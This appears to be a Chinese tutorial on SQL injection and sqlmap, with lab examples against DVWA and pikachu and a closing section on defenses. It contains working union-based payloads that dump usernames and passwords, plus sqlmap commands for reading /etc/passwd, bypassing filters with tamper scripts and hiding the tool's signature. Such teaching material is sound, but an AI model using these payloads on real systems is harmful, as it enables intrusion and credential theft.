SQL注入基础及SQLmap
一、数据库基础
1.数据库基本概念
Oracle、MySQL、SQL Server、Access、DB2、Sqlite3都使用SQL语言(增删改查等基础内容相同,扩展内容各不相同)
SQL:结构化查询语言,特点是解释型语言(JS、php、python)
虚拟机语言:java、c#
编译语言:c、c++
解释型语言容易出现注入漏洞(数据代码不区分)!!!
2.数据库内容
①数据(Data):图像、语音、文字等
在计算机系统中,各种字母、数字符号的组合、语音、图形、图像等统称为数据
②数据库(Database):Access、MSSQL、Oracle、SQLITE、MySQL等
数据库是按照数据结构来组织、存储和管理数据的“仓库”
③数据库管理系统(DBMS):Access、MSSQL、Oracle、SQLITE、MySQL等
数据库管理系统(database management system)是一种操纵和管理数据库的软件,用于建立、使用和维护数据库。它对数据库进行统一的管理和控制,以保证数据库的安全性和完整性
④结构化查询语句(SQL):
结构化查询语言(Structured Query Language)简称SQL,结构化查询语言是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系型数据库系统
如何区分数据库和数据库管理系统:在桌面上新建一个excel,这个excel是数据库,而excel这个软件就是数据库管理系统;这两个概念几乎是成对出现
3.数据库特性
①静态网页:
html或者htm,是一种静态的页面格式,不需要服务器解析其中的脚本。由浏览器如(IE、Chrome等)解析
Ⅰ不依赖数据库
Ⅱ灵活性差,制作、更新、维护麻烦
Ⅲ交互性交差,在功能方面有较大的限制
Ⅳ安全,不存在SQL注入漏洞 CDN 高速缓存 WEB CACHE存放的这些内容
②动态网页:
asp、aspx、php、jsp等,由相应的脚本引擎来解释执行,根据指令生成静态网页
Ⅰ依赖数据库
Ⅱ灵活性好,维护简便
Ⅲ交互性好,功能强大
Ⅳ存在安全风险,可能存在SQL注入漏洞
4.WEB应用工作原理
二、SQL注入基础
1.SQL注入定义
通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句
2.SQL注入的本质
代码与数据不区分
3.SQL注入的成因
未对用户提交的参数数据进行校验或有效的过滤,直接进行SQL语句拼接,改变了原有SQL语句的语义,传入数据库解析引擎中执行
4.触发SQL注入
所有的输入只要和数据库进行交互的,都有可能触发SQL注入
常见的包括:
①Get参数触发SQL注入
②POST参数触发SQL注入
③Cookie触发SQL注入
④其他参与sql执行的输入都有可能进行SQL注入
5.SQL注入的步骤
①判断Web环境是否可以SQL注入
如果URL仅是对网页的访问,则不存在SQL注入问题,如:http://news.xxx.com /12345.html就是普通的网页访问;只有对数据库进行动态查询的业务才可能存在SQL注入,如:http://music.baidu.com/search?key=11,其中?key=11表示数据库查询变量,这种语句会在数据库中执行,因此可能会给数据库带来威胁
②寻找SQL注入点
判断是否存在注入点:通过输入一些特殊语句,根据浏览器返回的信息,判断是否存在注入点以及获取数据库类型等有用信息(通过访问正常的业务逻辑即可)
寻找闭合(前方闭合、后方闭合):
普通查询 | 插入语句 | 模糊查询 |
---|---|---|
'和" | ')和") | %'和%" |
若上表方式都无法闭合,也有可能是不需要闭合的
注释符闭合/引号闭合:--、#、'、"
尝试sql语句是否可以注入:and 1=1 和 and 1=2。若输入and 1=1页面返回结果,则可能and成功执行或者and被过滤,此时再输入and 1=2,若是and被过滤,那么依旧显示id=x的查询结果;若是成功执行,and 1=2和id=x都生效,但1不等于2,所以无法查询出数据
获取列数:
id=1 order by 3 -- 报错
id=1 order by 2 -- 可以执行
数据库列数为2列
找到回显点:
id=-1 union select 1,2(有多少列数,后面就有几个数字)
union select为联合查询,将两个表的内容一起输出(若两个表列数不一样则会报错,所以需要判断列数);id=-1是为了让前面的查询语句无法查询从而不行显示内容,以便后面的查询语句成功执行并显示;1,2就是回显点(我们要针对回显点注入)
获取数据库名:
id=-1 union select 1,database() --
获取表名:
union select group_concat(table_name) from information_schema.tables where table_schema='数据库名'
group_concat:把若干列数据合成一列,如select 1,2,3输出一行三列的数据;select group_concat(1,2,3)输出一行一列的数据1,2,3,即组合输出
获取列名:
union select group_concat(column_name) from information_schema.columns where table_name='表名'
获取数据:
union select 1,group_concat(username,'->',password separator '</br>') from users --
separator '</br>'为换行;查询内容中间可以用符号隔开
③猜解用户名和密码
数据库中存放的表名、字段名都是有规律可言的,例如MySQL数据库中系统自带的information_schema信息数据库中保存着关于MySQL服务器所维护的所有其他数据库的信息,当前MySQL实例中所有数据库的信息存放在SCHEMATA表,所有表信息存放在TABLES表中,所有表中列信息存放在COLUMNS表中
攻击者可以通过构建特殊数据库语句在数据库中依次查找表名、字段名、用户名和密码的长度,以及内容DUMP拖库。这个猜测过程可以通过网上现成的大量注入工具快速实现,并借助破解网站破译用户密码
④寻找WEB管理后台入口
通常WEB后台管理的界面不面向普通用户开放,要寻找到后台的登录路径,可以利用扫描工具快速搜索到可能的登录地址,利用社会工程学依次进行尝试,就可以试出管理台的入口地址
⑤入侵和破坏
成功登录后台管理后,接下来就可以任意进行破坏行为,如篡改网页、上传木马、修改、泄漏用户信息,进一步入侵数据库服务器或者获得服务器控制权限
6.SQL注入的作用
绕过登录验证:使用万能密码登录网站后台等
获取敏感数据:获取网站管理员帐号、密码等
文件系统操作:列目录,读取、写入文件等
注册表操作:读取、写入、删除注册表等
执行系统命令:远程执行命令
补充:数据库注释语法
-- :sql单行注释(--后面有个空格)
#:sql单行注释(#后可以没有空格)
/**/:sql多行注释
三、注入漏洞分类
按数据类型分类:
数字型和字符型
测试语句:
按返回结果分类:
先错注入和盲注(布尔/时间)
四、SQLmap
1.常用指令
攻击目标:
-u "url" 包含sql漏洞的页面url
-p id 手动指定sql注入的参数
获取内容:
--dbs 获取数据库名
--tables 获取表名
--columns 获取字段名
--dump 获取数据
--password 获取密码(加密的)
--user 获取用户名
--current -db 获取正在使用的数据库名称
--file-read "/etc/passwd" 读取文件内容
指定已知内容:
-D pikachu 指定名为piikachu的数据库
-D pikachu --tables 从piakchu数据库中获取表名
-T users 指定名为users的表
-C username,password 指定username和password的列
测试等级:
--level=1 可选1到5级(注入深度不同),默认1,极限3
风险等级:
--risk=1 可选1到3(注入时可能会目标服务器造成影响,1没有风险,2会进行时间盲注这类语句,会造成服务器卡顿等影响服务器正常业务,3可能会修改服务器数据,风险较大),默认1,一般1,极限3
输出等级:
-v 1 可选0到6 默认1 一般1 极限3 注入过程在命令行中显示的详细程度1,0只显示error,1还显示info信息
替换模板:
--tamper "space2comment" 将空格替换成注释(可以使用各种替换模板来绕过过滤),还有base64encode、equaltolike、charencode、ramdomcomments、randomcase等模板
自定义数据:
--cookie="PHPSESSID=2q6ekir9rqerocenebnmhblv23; security=low" 自定义cookie(需要登陆才可以访问的页面)
--data="user=xxx&pass=xxx" 自定义post表单数据
例:dvwa-Medium
--proxy="" 自定义代理
--random-agent 隐藏sqlmap特征,使用真正的浏览器ua去攻击(因为法律规定,sqlmap访问带有特定表示,可以被服务器识别出是sqlmap)
--second-url="url" 若注入点和回显点不在同一页面,使用此参数设置回显点
例:dvwa-High
先提交请求,使用burp抓包
修改payload(设置回显点)
其他选项:
--batch 不适用交互式攻击(自动选择默认选项)
--purge 清空缓存(sqlmap.py --purge在sqlmap出现一系列问题时使用)
DVWA示例:
难度low
查询数据库
提示获得了302重定向,是否跟踪链接,DVWA靶机不能随意访问,会直接跳转至登陆页面,所以需要带着身份验证信息(cookie)去攻击
提示数据库管理系统是Mysql,询问是否跳过其他数据库的尝试,我们这里跳过(Y大写,回车默认是Y)
询问测试等级和风险等级是否是level1(默认1即可)
提示get参数id是注入点,是否想测试其他参数(N大写,回车默认是N),默认回车即可
可以看到爆出的数据库
获取表名:先指定数据库,再--tables获取表
获取user表中的列名:
获取user和password数据:
提示询问是否爆破(回车即可)
提示询问字典和爆破配置(回车即可)
爆出信息
五、SQL注入的防御
1.SQL注入的危害
①数据库信息泄漏:数据库中存放的用户的隐私信息的泄露
②网页篡改:通过操作数据库对特定网页进行篡改
③网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击
④数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改
⑤服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统
⑥破坏硬盘数据,瘫痪全系统
一些类型的数据库系统能够让SQL指令操作文件系统,这使得SQL注入的危害被进一步放大
2.防御思路
过滤特殊字符:
单引号、双引号、斜杠、反斜杠、冒号、空格、空字符等字符
过滤的对象:
用户的输入
提交的URL请求中的参数部分
从cookie中得到的数据
部署防SQL注入系统(WAF或者数据库防火墙等)或脚本